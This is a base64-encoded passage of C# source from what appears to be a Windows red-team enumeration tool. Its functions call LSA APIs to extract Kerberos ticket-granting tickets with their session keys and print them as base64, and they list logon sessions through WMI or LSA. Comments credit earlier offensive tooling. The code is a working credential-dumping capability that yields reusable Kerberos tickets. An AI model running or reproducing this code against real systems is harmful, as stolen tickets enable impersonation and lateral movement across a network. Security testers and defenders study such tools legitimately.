dGFydFRpbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgZW5kVGltZSA9IERhdGVUaW1lLkZyb21GaWxlVGltZShyZXNwb25zZS5UaWNrZXQuRW5kVGltZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSByZW5ld1VudGlsID0gRGF0ZVRpbWUuRnJvbUZpbGVUaW1lKHJlc3BvbnNlLlRpY2tldC5SZW5ld1VudGlsKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEludDY0IHRpbWVTa2V3ID0gcmVzcG9uc2UuVGlja2V0LlRpbWVTa2V3OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgSW50MzIgZW5jb2RlZFRpY2tldFNpemUgPSByZXNwb25zZS5UaWNrZXQuRW5jb2RlZFRpY2tldFNpemU7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHRpY2tldEZsYWdzID0gKChLRVJCX1RJQ0tFVF9GTEFHUylyZXNwb25zZS5UaWNrZXQuVGlja2V0RmxhZ3MpLlRvU3RyaW5nKCk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gZXh0cmFjdCB0aGUgVEdUIGFuZCBiYXNlNjQgZW5jb2RlIGl0CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBieXRlW10gZW5jb2RlZFRpY2tldCA9IG5ldyBieXRlW2VuY29kZWRUaWNrZXRTaXplXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIE1hcnNoYWwuQ29weShyZXNwb25zZS5UaWNrZXQuRW5jb2RlZFRpY2tldCwgZW5jb2RlZFRpY2tldCwgMCwgZW5jb2RlZFRpY2tldFNpemUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGJhc2U2NFRHVCA9IENvbnZlcnQuVG9CYXNlNjRTdHJpbmcoZW5jb2RlZFRpY2tldCk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgU2VydmljZU5hbWUgICAgICAgICAgICAgIDogezB9Iiwgc2VydmljZU5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVGFyZ2V0TmFtZSAgICAgICAgICAgICAgIDogezB9IiwgdGFyZ2V0TmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBDbGllbnROYW1lICAgICAgICAgICAgICAgOiB7MH0iLCBjbGllbnROYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIERvbWFpbk5hbWUgICAgICAgICAgICAgICA6IHswfSIsIGRvbWFpbk5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVGFyZ2V0RG9tYWluTmFtZSAgICAgICAgIDogezB9IiwgdGFyZ2V0RG9tYWluTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBBbHRUYXJnZXREb21haW5OYW1lICAgICAgOiB7MH0iLCBhbHRUYXJnZXREb21haW5OYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFNlc3Npb25LZXlUeXBlICAgICAgICAgICA6IHswfSIsIHNlc3Npb25LZXlUeXBlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIEJhc2U2NFNlc3Npb25LZXkgICAgICAgICA6IHswfSIsIGJhc2U2NFNlc3Npb25LZXkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgS2V5RXhwaXJhdGlvblRpbWUgICAgICAgIDogezB9Iiwga2V5RXhwaXJhdGlvblRpbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVGlja2V0RmxhZ3MgICAgICAgICAgICAgIDogezB9IiwgdGlja2V0RmxhZ3MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgU3RhcnRUaW1lICAgICAgICAgICAgICAgIDogezB9Iiwgc3RhcnRUaW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIEVuZFRpbWUgICAgICAgICAgICAgICAgICA6IHswfSIsIGVuZFRpbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgUmVuZXdVbnRpbCAgICAgICAgICAgICAgIDogezB9IiwgcmVuZXdVbnRpbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBUaW1lU2tldyAgICAgICAgICAgICAgICAgOiB7MH0iLCB0aW1lU2tldyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBFbmNvZGVkVGlja2V0U2l6ZSAgICAgICAgOiB7MH0iLCBlbmNvZGVkVGlja2V0U2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBCYXNlNjRFbmNvZGVkVGlja2V0ICAgICAgOlxyXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIGRpc3BsYXkgdGhlIFRHVCwgY29sdW1ucyBvZiAxMDAgY2hhcmFyYWN0ZXJzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgbGluZSBpbiBTcGxpdChiYXNlNjRUR1QsIDEwMCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICB7MH0iLCBsaW5lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b3RhbFRpY2tldENvdW50Kys7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgbHVpZFB0ciA9IChJbnRQdHIpKChsb25nKWx1aWRQdHIuVG9JbnQ2NCgpICsgTWFyc2hhbC5TaXplT2YodHlwZW9mKExVSUQpKSk7CiAgICAgICAgICAgICAgICAgICAgLy9tb3ZlIHRoZSBwb2ludGVyIGZvcndhcmQKICAgICAgICAgICAgICAgICAgICBMc2FGcmVlUmV0dXJuQnVmZmVyKHNlc3Npb25EYXRhKTsKICAgICAgICAgICAgICAgICAgICAvL2ZyZWUgdGhlIFNFQ1VSSVRZX0xPR09OX1NFU1NJT05fREFUQSBtZW1vcnkgaW4gdGhlIHN0cnVjdAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgTHNhRnJlZVJldHVybkJ1ZmZlcihsdWlkUHRyKTsgICAgICAgLy9mcmVlIHRoZSBhcnJheSBvZiBMVUlEcwoKICAgICAgICAgICAgICAgIC8vIGRpc2Nvbm5lY3QgZnJvbSBMU0EKICAgICAgICAgICAgICAgIExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MoaExzYSk7CgogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuICBbKl0gRXh0cmFjdGVkIHswfSB0b3RhbCB0aWNrZXRzXHJcbiIsIHRvdGFsVGlja2V0Q291bnQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdEtlcmJlcm9zVEdURGF0YUN1cnJlbnRVc2VyKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIGFkYXB0ZWQgcGFydGlhbGx5IGZyb20gVmluY2VudCBMRSBUT1VYJyB3b3JrCiAgICAgICAgICAgIC8vICAgICAgaHR0cHM6Ly9naXRodWIuY29tL3ZsZXRvdXgvTWFrZU1lRW50ZXJwcmlzZUFkbWluL2Jsb2IvbWFzdGVyL01ha2VNZUVudGVycHJpc2VBZG1pbi5wczEjTDI5MzktTDI5NTAKICAgICAgICAgICAgLy8gYW5kIGh0dHBzOi8vd3d3LmRyZWFtaW5jb2RlLm5ldC9mb3J1bXMvdG9waWMvMTM1MDMzLWluY3JlbWVudC1tZW1vcnktcG9pbnRlci1pc3N1ZS8KICAgICAgICAgICAgLy8gYWxzbyBKYXJlZCBBdGtpbnNvbidzIHdvcmsgYXQgaHR0cHM6Ly9naXRodWIuY29tL0ludm9rZS1JUi9BQ0UvYmxvYi9tYXN0ZXIvQUNFLU1hbmFnZW1lbnQvUFMtQUNFL1NjcmlwdHMvQUNFX0dldC1LZXJiZXJvc1RpY2tldENhY2hlLnBzMQoKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEtlcmJlcm9zIFRHVCBEYXRhIChDdXJyZW50IFVzZXIpID09PVxyXG4iKTsKCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdHJpbmcgbmFtZSA9ICJrZXJiZXJvcyI7CiAgICAgICAgICAgICAgICBMU0FfU1RSSU5HX0lOIExTQVN0cmluZzsKICAgICAgICAgICAgICAgIExTQVN0cmluZy5MZW5ndGggPSAodXNob3J0KW5hbWUuTGVuZ3RoOwogICAgICAgICAgICAgICAgTFNBU3RyaW5nLk1heGltdW1MZW5ndGggPSAodXNob3J0KShuYW1lLkxlbmd0aCArIDEpOwogICAgICAgICAgICAgICAgTFNBU3RyaW5nLkJ1ZmZlciA9IG5hbWU7CgogICAgICAgICAgICAgICAgSW50UHRyIHJlc3BvbnNlUG9pbnRlciA9IEludFB0ci5aZXJvOwogICAgICAgICAgICAgICAgaW50IGF1dGhQYWNrOwogICAgICAgICAgICAgICAgaW50IH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ICAgICAgIHN0cmluZyB0aWNrZXRGbGFncyA9ICgoS0VSQl9USUNLRVRfRkxBR1MpcmVzcG9uc2UuVGlja2V0LlRpY2tldEZsYWdzKS5Ub1N0cmluZygpOwoKICAgICAgICAgICAgICAgIC8vIGV4dHJhY3QgdGhlIFRHVCBhbmQgYmFzZTY0IGVuY29kZSBpdAogICAgICAgICAgICAgICAgYnl0ZVtdIGVuY29kZWRUaWNrZXQgPSBuZXcgYnl0ZVtlbmNvZGVkVGlja2V0U2l6ZV07CiAgICAgICAgICAgICAgICBNYXJzaGFsLkNvcHkocmVzcG9uc2UuVGlja2V0LkVuY29kZWRUaWNrZXQsIGVuY29kZWRUaWNrZXQsIDAsIGVuY29kZWRUaWNrZXRTaXplKTsKICAgICAgICAgICAgICAgIHN0cmluZyBiYXNlNjRUR1QgPSBDb252ZXJ0LlRvQmFzZTY0U3RyaW5nKGVuY29kZWRUaWNrZXQpOwoKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFNlcnZpY2VOYW1lICAgICAgICAgICAgICA6IHswfSIsIHNlcnZpY2VOYW1lKTsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFRhcmdldE5hbWUgICAgICAgICAgICAgICA6IHswfSIsIHRhcmdldE5hbWUpOwogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQ2xpZW50TmFtZSAgICAgICAgICAgICAgIDogezB9IiwgY2xpZW50TmFtZSk7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBEb21haW5OYW1lICAgICAgICAgICAgICAgOiB7MH0iLCBkb21haW5OYW1lKTsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFRhcmdldERvbWFpbk5hbWUgICAgICAgICA6IHswfSIsIHRhcmdldERvbWFpbk5hbWUpOwogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQWx0VGFyZ2V0RG9tYWluTmFtZSAgICAgIDogezB9IiwgYWx0VGFyZ2V0RG9tYWluTmFtZSk7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBTZXNzaW9uS2V5VHlwZSAgICAgICAgICAgOiB7MH0iLCBzZXNzaW9uS2V5VHlwZSk7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBCYXNlNjRTZXNzaW9uS2V5ICAgICAgICAgOiB7MH0iLCBiYXNlNjRTZXNzaW9uS2V5KTsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIEtleUV4cGlyYXRpb25UaW1lICAgICAgICA6IHswfSIsIGtleUV4cGlyYXRpb25UaW1lKTsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFRpY2tldEZsYWdzICAgICAgICAgICAgICA6IHswfSIsIHRpY2tldEZsYWdzKTsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFN0YXJ0VGltZSAgICAgICAgICAgICAgICA6IHswfSIsIHN0YXJ0VGltZSk7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBFbmRUaW1lICAgICAgICAgICAgICAgICAgOiB7MH0iLCBlbmRUaW1lKTsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFJlbmV3VW50aWwgICAgICAgICAgICAgICA6IHswfSIsIHJlbmV3VW50aWwpOwogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVGltZVNrZXcgICAgICAgICAgICAgICAgIDogezB9IiwgdGltZVNrZXcpOwogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgRW5jb2RlZFRpY2tldFNpemUgICAgICAgIDogezB9IiwgZW5jb2RlZFRpY2tldFNpemUpOwogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQmFzZTY0RW5jb2RlZFRpY2tldCAgICAgIDpcclxuIik7CiAgICAgICAgICAgICAgICAvLyBkaXNwbGF5IHRoZSBUR1QsIGNvbHVtbnMgb2YgMTAwIGNoYXJhcmFjdGVycwogICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIGxpbmUgaW4gU3BsaXQoYmFzZTY0VEdULCAxMDApKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezB9IiwgbGluZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgpOwoKICAgICAgICAgICAgICAgIC8vIGRpc2Nvbm5lY3QgZnJvbSBMU0EKICAgICAgICAgICAgICAgIExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MobHNhSGFuZGxlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleC5NZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gaHR0cHM6Ly9naXRodWIuY29tL3BhdWxkb3Rrbm9wZi9XaW5kb3dzU0RLNy1TYW1wbGVzL2Jsb2IvbWFzdGVyL3NlY3VyaXR5L2F1dGhvcml6YXRpb24va2xpc3QvS0xpc3QuYyNMNTg1CiAgICAgICAgLy8gY3VycmVudGx5IG5vdCB3b3JraW5nIDooCiAgICAgICAgLy9wdWJsaWMgc3RhdGljIHZvaWQgTGlzdEtlcmJlcm9zVGlja2V0RGF0YUN1cnJlbnRVc2VyKCkKICAgICAgICAvL3sKICAgICAgICAvLyAgICAvLyBhZGFwdGVkIHBhcnRpYWxseSBmcm9tIFZpbmNlbnQgTEUgVE9VWCcgd29yawogICAgICAgIC8vICAgIC8vICAgICAgaHR0cHM6Ly9naXRodWIuY29tL3ZsZ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lKTsKICAgICAgICAvLyAgICAvL0NvbnNvbGUuV3JpdGVMaW5lKCIgIENsaWVudE5hbWUgICAgICAgICAgICAgICA6IHswfSIsIGNsaWVudE5hbWUpOwogICAgICAgIC8vICAgIC8vQ29uc29sZS5Xcml0ZUxpbmUoIiAgRG9tYWluTmFtZSAgICAgICAgICAgICAgIDogezB9IiwgZG9tYWluTmFtZSk7CiAgICAgICAgLy8gICAgLy9Db25zb2xlLldyaXRlTGluZSgiICBUYXJnZXREb21haW5OYW1lICAgICAgICAgOiB7MH0iLCB0YXJnZXREb21haW5OYW1lKTsKICAgICAgICAvLyAgICAvL0NvbnNvbGUuV3JpdGVMaW5lKCIgIEFsdFRhcmdldERvbWFpbk5hbWUgICAgICA6IHswfSIsIGFsdFRhcmdldERvbWFpbk5hbWUpOwogICAgICAgIC8vICAgIC8vQ29uc29sZS5Xcml0ZUxpbmUoIiAgU2Vzc2lvbktleVR5cGUgICAgICAgICAgIDogezB9Iiwgc2Vzc2lvbktleVR5cGUpOwogICAgICAgIC8vICAgIC8vQ29uc29sZS5Xcml0ZUxpbmUoIiAgQmFzZTY0U2Vzc2lvbktleSAgICAgICAgIDogezB9IiwgYmFzZTY0U2Vzc2lvbktleSk7CiAgICAgICAgLy8gICAgLy9Db25zb2xlLldyaXRlTGluZSgiICBLZXlFeHBpcmF0aW9uVGltZSAgICAgICAgOiB7MH0iLCBrZXlFeHBpcmF0aW9uVGltZSk7CiAgICAgICAgLy8gICAgLy9Db25zb2xlLldyaXRlTGluZSgiICBUaWNrZXRGbGFncyAgICAgICAgICAgICAgOiB7MH0iLCB0aWNrZXRGbGFnczIpOwogICAgICAgIC8vICAgIC8vQ29uc29sZS5Xcml0ZUxpbmUoIiAgU3RhcnRUaW1lICAgICAgICAgICAgICAgIDogezB9Iiwgc3RhcnRUaW1lMik7CiAgICAgICAgLy8gICAgLy9Db25zb2xlLldyaXRlTGluZSgiICBFbmRUaW1lICAgICAgICAgICAgICAgICAgOiB7MH0iLCBlbmRUaW1lMik7CiAgICAgICAgLy8gICAgLy9Db25zb2xlLldyaXRlTGluZSgiICBSZW5ld1VudGlsICAgICAgICAgICAgICAgOiB7MH0iLCByZW5ld1VudGlsKTsKICAgICAgICAvLyAgICAvL0NvbnNvbGUuV3JpdGVMaW5lKCIgIEVuY29kZWRUaWNrZXRTaXplICAgICAgICA6IHswfSIsIGVuY29kZWRUaWNrZXRTaXplKTsKICAgICAgICAvLyAgICAvL0NvbnNvbGUuV3JpdGVMaW5lKCIgIEJhc2U2NEVuY29kZWRUaWNrZXQgICAgICA6XHJcbiIpOwogICAgICAgIC8vICAgIC8vLy8gZGlzcGxheSB0aGUgVEdULCBjb2x1bW5zIG9mIDgwIGNoYXJhcmFjdGVycwogICAgICAgIC8vICAgIC8vZm9yZWFjaCAoc3RyaW5nIGxpbmUgaW4gU3BsaXQoYmFzZTY0VGlja2V0LCA4MCkpCiAgICAgICAgLy8gICAgLy97CiAgICAgICAgLy8gICAgLy8gICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICB7MH0iLCBsaW5lKTsKICAgICAgICAvLyAgICAvL30KICAgICAgICAvLyAgICAvL0NvbnNvbGUuV3JpdGVMaW5lKCk7CiAgICAgICAgLy8gICAgLy99CgogICAgICAgIC8vICAgIC8vIGRpc2Nvbm5lY3QgZnJvbSBMU0EKICAgICAgICAvLyAgICBMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzKGxzYUhhbmRsZSk7CiAgICAgICAgLy8gICAgLy99CiAgICAgICAgLy8gICAgLy9jYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgIC8vICAgIC8vewogICAgICAgIC8vICAgIC8vICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgIC8vICAgIC8vfQogICAgICAgIC8vfQoKCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RMb2dvblNlc3Npb25zKCkKICAgICAgICB7CiAgICAgICAgICAgIGlmICghSXNIaWdoSW50ZWdyaXR5KCkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vIGh0dHBzOi8vd3d3LnBpbnZva2UubmV0L2RlZmF1bHQuYXNweC9zZWN1cjMyLmxzYWxvZ29udXNlcgoKICAgICAgICAgICAgICAgIC8vIGxpc3QgdXNlciBsb2dvbnMgY29tYmluZWQgd2l0aCBsb2dvbiBzZXNzaW9uIGRhdGEgdmlhIFdNSQoKICAgICAgICAgICAgICAgIFJlZ2V4IHVzZXJEb21haW5SZWdleCA9IG5ldyBSZWdleChAIkRvbWFpbj0iIiguKikiIixOYW1lPSIiKC4qKSIiIik7CiAgICAgICAgICAgICAgICBSZWdleCBsb2dvbklkUmVnZXggPSBuZXcgUmVnZXgoQCJMb2dvbklkPSIiKFxkKykiIiIpOwoKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBMb2dvbiBTZXNzaW9ucyAodmlhIFdNSSkgPT09XHJcblxyXG4iKTsKCiAgICAgICAgICAgICAgICBEaWN0aW9uYXJ5PHN0cmluZywgc3RyaW5nW10+IGxvZ29uTWFwID0gbmV3IERpY3Rpb25hcnk8c3RyaW5nLCBzdHJpbmdbXT4oKTsKCiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIgd21pRGF0YSA9IG5ldyBNYW5hZ2VtZW50T2JqZWN0U2VhcmNoZXIoQCJyb290XGNpbXYyIiwgIlNFTEVDVCAqIEZST00gV2luMzJfTG9nZ2VkT25Vc2VyIik7CiAgICAgICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdENvbGxlY3Rpb24gZGF0YSA9IHdtaURhdGEuR2V0KCk7CgogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKE1hbmFnZW1lbnRPYmplY3QgcmVzdWx0IGluIGRhdGEpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBNYXRjaCBtID0gbG9nb25JZFJlZ2V4Lk1hdGNoKHJlc3VsdFsiRGVwZW5kZW50Il0uVG9TdHJpbmcoKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChtLlN1Y2Nlc3MpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBsb2dvbklkID0gbS5Hcm91cHNbMV0uVG9TdHJpbmcoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIE1hdGNoIG0yID0gdXNlckRvbWFpblJlZ2V4Lk1hdGNoKHJlc3VsdFsiQW50ZWNlZGVudCJdLlRvU3RyaW5nKCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKG0yLlN1Y2Nlc3MpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGRvbWFpbiA9IG0yLkdyb3Vwc1sxXS5Ub1N0cmluZygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VyID0gbTIuR3JvdXBzWzJdLlRvU3RyaW5nKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbG9nb25NYXAuQWRkKGxvZ29uSWQsIG5ldyBzdHJpbmdbXSB7IGRvbWFpbiwgdXNlciB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyIHdtaURhdGEyID0gbmV3IE1hbmFnZW1lbnRPYmplY3RTZWFyY2hlcihAInJvb3RcY2ltdjIiLCAiU0VMRUNUICogRlJPTSBXaW4zMl9Mb2dvblNlc3Npb24iKTsKICAgICAgICAgICAgICAgICAgICBNYW5hZ2VtZW50T2JqZWN0Q29sbGVjdGlvbiBkYXRhMiA9IHdtaURhdGEyLkdldCgpOwoKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChNYW5hZ2VtZW50T2JqZWN0IHJlc3VsdDIgaW4gZGF0YTIpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmdbXSB1c2VyRG9tYWluID0gbG9nb25NYXBbcmVzdWx0MlsiTG9nb25JZCJdLlRvU3RyaW5nKCldOwogICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgZG9tYWluID0gdXNlckRvbWFpblswXTsKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIHVzZXJOYW1lID0gdXNlckRvbWFpblsxXTsKICAgICAgICAgICAgICAgICAgICAgICAgU3lzdGVtLkRhdGVUaW1lIHN0YXJ0VGltZSA9IFN5c3RlbS5NYW5hZ2VtZW50Lk1hbmFnZW1lbnREYXRlVGltZUNvbnZlcnRlci5Ub0RhdGVUaW1lKHJlc3VsdDJbIlN0YXJ0VGltZSJdLlRvU3RyaW5nKCkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGxvZ29uVHlwZSA9IFN0cmluZy5Gb3JtYXQoInswfSIsICgoU0VDVVJJVFlfTE9HT05fVFlQRSkoSW50MzIuUGFyc2UocmVzdWx0MlsiTG9nb25UeXBlIl0uVG9TdHJpbmcoKSkpKSk7CgogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBVc2VyTmFtZSAgICAgICAgICAgICAgICAgOiB7MH0iLCB1c2VyTmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIERvbWFpbiAgICAgICAgICAgICAgICAgICA6IHswfSIsIGRvbWFpbik7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIExvZ29uSWQgICAgICAgICAgICAgICAgICA6IHswfSIsIHJlc3VsdDJbIkxvZ29uSWQiXS5Ub1N0cmluZygpKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25UeXBlICAgICAgICAgICAgICAgIDogezB9IiwgbG9nb25UeXBlKTsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQXV0aGVudGljYXRpb25QYWNrYWdlICAgIDogezB9IiwgcmVzdWx0MlsiQXV0aGVudGljYXRpb25QYWNrYWdlIl0uVG9TdHJpbmcoKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFN0YXJ0VGltZSAgICAgICAgICAgICAgICA6IHswfVxyXG4iLCBzdGFydFRpbWUpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgW1hdIEV4Y2VwdGlvbjogezB9IiwgZXguTWVzc2FnZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAvLyBoZWF2aWx5IGFkYXB0ZWQgZnJvbSBmcm9tIEphcmVkIEhpbGw6CiAgICAgICAgICAgICAgICAvLyAgICAgIGh0dHBzOi8vd3d3LmNvZGVwcm9qZWN0LmNvbS9BcnRpY2xlcy8xODE3OS9Vc2luZy10aGUtTG9jYWwtU2VjdXJpdHktQXV0aG9yaXR5LXRvLUVudW1lcmF0ZS1VcwoKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBMb2dvbiBTZXNzaW9ucyAodmlhIExTQSkgPT09XHJcblxyXG4iKTsKCiAgICAgICAgICAgICAgICB0cnkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBEYXRlVGltZSBzeXN0aW1lID0gbmV3IERhdGVUaW1lKDE2MDEsIDEsIDEsIDAsIDAsIDAsIDApOyAvL3dpbjMyIHN5c3RlbWRhdGUKICAgICAgICAgICAgICAgICAgICBVSW50NjQgY291bnQ7CiAgICAgICAgICAgICAgICAgICAgSW50UHRyIGx1aWRQdHIgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgICAgICAgICBJbnRQdHIgaXRlciA9IGx1aWRQdHI7CgogICAgICAgICAgICAgICAgICAgIHVpbnQgcmV0ID0gTHNhRW51bWVyYXRlTG9nb25TZXNzaW9ucyhvdXQgY291bnQsIG91dCBsdWlkUHRyKTsgIC8vIGdldCBhbiBhcnJheSBvZiBwb2ludGVycyB0byBMVUlEcwoKICAgICAgICAgICAgICAgICAgICBmb3IgKHVsb25nIGkgPSAwOyBpIDwgY291bnQ7IGkrKykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgI